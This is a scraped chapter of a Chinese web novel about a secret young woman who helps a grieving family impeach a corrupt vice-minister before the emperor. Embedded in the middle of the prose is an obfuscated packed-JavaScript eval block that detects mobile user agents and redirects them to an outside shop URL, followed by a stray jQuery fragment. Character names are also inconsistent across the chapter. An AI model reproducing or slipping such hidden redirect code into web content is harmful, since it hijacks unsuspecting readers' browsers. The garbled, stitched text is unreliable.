文趣网 > 都市小说 > 她在江南种梅花 > 48. 年轻女子
    钱宝站起来,摇摇晃晃地往楼下走。周叔将几枚铜板放在桌上,跟了出去。他跟在钱宝身后,隔着半条街的距离。钱宝的随从喝得比他还醉,走起路来东倒西歪,没人注意到身后那个穿青布棉袍的瘦削身影。

    走到十字街口,钱宝忽然停下来,回头看了一眼。周叔闪身躲进了一家布庄的门口,装作在看布匹。钱宝看了两眼,没发现什么,转身继续走。周叔从布庄门口出来,正要跟上去,一只手从身后伸过来,按住了他的肩膀。周叔猛地回头,看见一个穿黑衣的年轻人站在他身后,面容冷峻,目光沉静。

    “跟我走,有人要见你。”周叔想跑,但黑衣人的手像铁钳一样钳住了他的肩膀。黑衣人将他拽进了旁边的小巷。马车停在巷口,黑衣人拉开车门,示意周叔上去。周叔咬了咬牙,上了车。

    车里坐着一个年轻女子,穿着一件月白色衣裙,外头罩了件青碧色的半臂,头发挽了一个简单的髻,用一支素玉簪子别着。她手里拿着一卷书,书页翻到一半,见周叔上来,将书放下,看了他一眼:“周管家,请坐。”周叔在她对面坐下,手脚不知该往哪放。

    “你是谁?”他问,声音有些发涩。

    “你不用知道我是谁。”女子的声音很平,“你只需要知道,郑明诚的案子,有人能帮他。郑明诚现在在城南的破庙里,病得很重,是不是?”周叔的脸色变了。女子从袖中取出一张纸,递给他,“郑明诚告了三年,没人受理,是因为有人压着,压着的人叫钱谦,兵部侍郎,钱宝的父亲。”

    周叔接过那张纸,低头一看,是一份状子的抄件,字迹和他家主人一模一样。他的手开始发抖:“你怎么拿到的?”女子没有回答,又从袖中取出一封信,推到他面前。“把这些交给陈贤,他是御史中丞,弹劾周怀仁的人。他收了,郑明诚的案子就有人递到皇帝面前了。”

    周叔拿起那封信,犹豫了一下:“你为什么不自己送?”

    “因为我不是这件事中的人。”女子的声音很平,“你们的事,只有你们的人去求,陈贤才会觉得是真的,而不是旁人设的局。”周叔看着她,沉默了片刻,将信攥紧。女子敲了敲车壁,马车停了,黑衣人拉开车门,周叔下了车,发现自己站在城南的一座破庙门口,庙门半敞着,里面透出昏黄的烛光。他回头看了一眼,马车已经驶远了,他推开庙门,走了进去。

    郑明诚躺在破庙角落的一堆稻草上,面色蜡黄,嘴唇干裂。他看见周叔进来,撑着坐起来,声音沙哑:“周叔,打听到什么了?”周叔蹲下来,将今天的事原原本本地说了一遍,那女子最后说:“城南土地庙,明日卯时,有人等。”他看了很久,将信折好,塞进袖中。

    第二天卯时,天还没亮,郑明诚就站在了城南土地庙门口。他换了一身干净的衣裳,头发梳得整整齐齐,脸色还是蜡黄的,但精神比昨天好了许多。卯时刚到,巷口传来马蹄声。一辆青布小车停在土地庙门口,赶车的是个穿黑衣的年轻人,他跳下车辕,拉开车门,朝郑明诚做了一个“请”的手势。郑明诚深吸了一口气,上了车。

    马车拐进了城北的一条僻静的巷子,停在一座不起眼的宅院门口。宅院没有匾额,没有门联,只有两扇黑漆木门。郑明诚被领进一间书房。书房不大,陈设简朴,一张书桌,一把椅子,一壁书柜。一个年轻女子坐在书桌后面,手里拿着一卷书,见他进来,将书放下,站起来。

    “郑先生,请坐。”

    郑明诚没有坐,他站在书桌前,警惕地看着那个女子:“你是谁?”

    女子看着他,轻笑道:“你不用知道我是谁,你只需要知道,你儿子的案子,有人能帮你。”郑明诚的眼眶一下子红了,他告了三年,告到倾家荡产,没有人理他。现在有人告诉他,能帮他。他不知道该不该信,但他已经没有别的路可走了。

    “你要我做什么?”他问。

    女子从抽屉里取出一份卷宗,推到他面前。“你看看这个。”郑明诚打开卷宗,里面是钱宝在松江府的全部罪行,时间、地点、人证、物证,清清楚楚。他的手开始发抖。女子又从抽屉里取出一张纸,推到他面前:“姓孙的我们已经找到了,这是他的证词。”郑明诚接过那张纸,低头一看,眼泪终于掉了下来。

    女子从抽屉里取出一份写好的状子,推到他面前:“你的状子递错了地方。刑部是谢家的地盘,你递一百次也没用。督察院的御史中丞陈贤,你把状子递给他,他会帮你递到皇帝面前。”她又从袖中取出一枚令牌,放在桌上,“把这个给陈府的管家看,他就会带你进去。”郑明诚拿起那枚令牌,攥在手心里,朝女子深深鞠了一躬,转身走出了书房。

    当天下午,郑明诚从陈府后门进去,在陈贤的书房里坐了半个时辰。他出来的时候,眼眶是红的,但嘴角带着一丝笑意。陈贤看了状子,良久,说了一句:“你回去等消息,三天之内,必有答复。”

    三天后,早朝。陈贤出列,跪在御阶下,双手捧着状子,声音洪亮:“臣弹劾兵部侍郎钱谦,纵子行凶,草菅人命,包庇罪犯,欺君罔上。罪状十二条,请陛下御览。”朝堂上鸦雀无声。皇帝赵祯坐在龙椅上,看着陈贤手里的状子,没有让人接。他的目光从陈贤身上移开,落在谢广脸上。谢广面无表情,但他的手指在袖中微微蜷了一下:这陈贤想做什么?

    “呈上来。”赵祯说。

    太监将状子接过来,放在御案上。赵祯翻开,一页一页地看。看到第三页的时候,他的手指顿了一下,抬起头,看了钱谦一眼。钱谦站在众臣队列里,脸色白得像纸,额头上沁出了细密的汗珠。看完状子,赵祯将它合上,放在御案上:“钱爱卿,你有何话说?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596609|202697||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>钱谦出列,跪下来,声音发抖。“陛下,臣冤枉。臣的儿子钱宝在江南确实与人有过争执,但绝没有打死人命。这是诬陷,是有人在背后陷害臣。”

    “诬陷?”陈贤从袖中取出一沓纸,“人证物证俱在,请陛下过目。证人孙义已在保定府找到,证词在此。死者郑明诚的父亲郑明远,已从松江府赶来京城,在外候旨。陛下若不信,可传他上殿对质。”赵祯看了钱谦一眼,又看了谢广一眼。谢广还是那副表情,但他的嘴唇抿成了一条线。

    “传郑明远上殿。”赵祯说。

    郑明远被带上殿。他跪在殿门口,伏在地上,不敢抬头。赵祯看着他,穿着一件洗得发白的青布棉袍,补丁摞着补丁,头发花白,瘦得像一根竹竿。“郑明远,你儿子的事,从头说来。”郑明远伏在地上,将三年前的事一五一十地说了。他说到儿子被马拖了半条街的时候,声音断了,伏在地上哭了很久。殿内鸦雀无声。赵祯坐在龙椅上,手指在扶手上轻轻叩了两下。

    “钱爱卿,你还有什么话说?”

    钱谦伏在地上,浑身发抖,一个字都说不出来。他知道,他完了。赵祯看了他一眼,又看了谢广一眼:“来人,传朕旨意,将钱谦先行收押,钱宝缉拿归案,一并审理。”钱谦被侍卫拖了下去。他的官帽掉在地上,滚了几滚,停在谢广脚边,谢广低着头,看着那顶官帽。

    退朝后,谢广走出奉天殿,站在殿门口,望着灰蒙蒙的天,站了很久。谢严从后面走过来,站在他身边。

    “父亲,钱谦的事——”

    “保不住。”谢广打断他,“钱谦在兵部的位置,保不住了。”他转过身,看着谢严,“尽快安排我们的人接上去。兵部不能空太久。”

    谢严应了一声,转身欲走,谢广忽然叫住了他:“严儿,查到了吗?这接二连三的事不对劲,是谁在背后捅刀子?”

    谢严停下来,转过身。“查到了蛛丝马迹。陈贤从不接外人的状子,这次却亲自见了郑明远。郑明远从破庙里出来,上了一辆马车,那辆马车最后停在了城北一条巷子里。”他顿了顿,“那辆马车的主人,是一个年轻女子。”

    谢广的目光微微一凝:“年轻女子?”

    “是。身份查不到,像是凭空冒出来的。”谢严的声音压得很低,“之前抓到的丫鬟交代的人也查不到,她家里人等我们的人去时也像凭空消失了一般。”

    谢广沉思京中何时有了这样的人,“难道是她?”如果是她就说得通了。谢严也听出了话中的“她”是谁?

    “儿子最近也一直在找她的踪迹,可自从在北郊消失便再也不见她的踪影。”

    当天夜里,宋知宜和顾衍之坐在帝师府的密室里。沈七从外面进来,将一份消息放在桌上,谢明远连夜召见了兵部郎中赵志远,打算让他接替钱谦的位置。